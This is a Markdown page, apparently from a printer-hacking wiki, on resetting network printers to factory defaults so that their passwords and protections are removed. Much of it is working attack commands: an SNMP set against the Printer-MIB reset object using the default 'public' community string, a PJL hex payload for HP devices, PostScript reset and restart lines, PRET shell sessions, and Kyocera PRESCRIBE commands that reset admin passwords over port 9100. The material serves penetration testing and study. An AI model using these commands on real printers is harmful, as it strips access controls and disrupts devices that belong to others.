79 lines
4.4 KiB
Markdown
79 lines
4.4 KiB
Markdown
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---
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description: 'From http://hacking-printers.net/wiki/index.php/Factory_defaults'
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---
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# Factory Defaults
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**Resetting** a device to factory defaults is a security-critical functionality as it **overwrites protection mechanisms** like user-set passwords. This can usually be done by pressing a **special key combination** on the printer's **control panel**. Performing such a cold reset only takes seconds and therefore is a realistic scenario for local attackers or penetration testers, who can for example sneak into the copy room at lunchtime. However, **physical access** to the device is **not always an option**.
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#### SNMP
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The Printer-MIB defines the **prtGeneralReset** Object \(**OID 1.3.6.1.2.1.43.5.1.1.3.1**\) which allows an attacker to restart the device \(powerCycleReset\(4\)\), reset the NVRAM settings \(resetToNVRAM\(5\)\) or restore factory defaults \(resetToFactoryDefaults\(6\)\) using SNMP. This feature/attack is **supported by a large variety of printers** and removes all protection mechanisms like user-set passwords for the embedded web server. While protection mechanisms can be efficiently bypassed, a practical drawback of this approach is that all **static IP address configuration will be lost**. **If no DHCP** service is available, the attacker will **not** be able to **reconnect** to the device anymore after resetting it to factory defaults.
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**Resetting the device to factory default** can be accomplished using `snmpset` command as shown below \(you need to know the **community string**, by default in most cases is `public`\):
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```bash
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snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 6
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```
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#### [PML](./#pml)/[PJL](./#pjl)
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In many scenarios an attacker does not have the capabilities to perform SNMP requests because of firewalls or unknown SNMP community strings. On **HP devices** however, **SNMP** can be transformed into its **PML representation** and embed the request within a legitimate print job. This allows an attacker to **restart and/or reset the device** to factory defaults within ordinary print jobs as shown below:
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```bash
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@PJL DMCMD ASCIIHEX="040006020501010301040106"
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```
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Anyone can reproduce this attack on HP printers, restarting or resetting the device can easily be reproduced using [**PRET**](https://github.com/RUB-NDS/PRET):
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```bash
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./pret.py -q printer pjl
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Connection to printer established
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Welcome to the pret shell. Type help or ? to list commands.
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printer:/> reset
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printer:/> restart
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```
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#### PostScript
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PostScript offers a similar feature: The **FactoryDefaults** system parameter, ‘a flag that, if **set to true** **immediately before** the **printer is turned off**, causes all nonvolatile parameters to revert to their **factory default** values at the next power-on’. It must be noted that **PostScript** itself also has the capability to **restart** its **environment** but it requires a **valid password**.
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The PostScript interpreter however can be put into an **infinite loop** as discussed in [document processing](http://hacking-printers.net/wiki/index.php/Document_processing) DoS attacks which forces the user to **manually restart** the device and thus reset the PostScript password.
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Reset PostScript system parameters to factory defaults:
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```bash
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<< /FactoryDefaults true >> setsystemparams
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```
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Restart the PostScript interpreter and virtual memory:
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```bash
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true 0 startjob systemdict /quit get exec
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```
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Anyone can restart or reset a printer's PostScript interpreter can **easily be reproduced using** [**PRET**](https://github.com/RUB-NDS/PRET):
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```bash
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./pret.py -q printer ps
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Connection to printer established
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Welcome to the pret shell. Type help or ? to list commands.
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printer:/> reset
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printer:/> restart
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```
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#### PRESCRIBE
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For **Kyocera devices**, the **PRESCRIBE page** description languages may be used to **reset the device** to factory default from within ordinary print jobs using one of the commands shown below:
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```bash
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!R! KSUS "AUIO", "CUSTOM:Admin Password = 'admin00'"; CMMT "Drop the security level, reset password";
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!R! ACNT "REST"; CMMT "Reset account code admin password";
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!R! EGRE; CMMT "Reset the engine board to factory defaults";
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!R! SIOP0,"RESET:0"; CMMT "Reset configuration settings";
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```
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To reproduce this attack open a raw network connection to port 9100/tcp of the printer and **send the commands documented above**.
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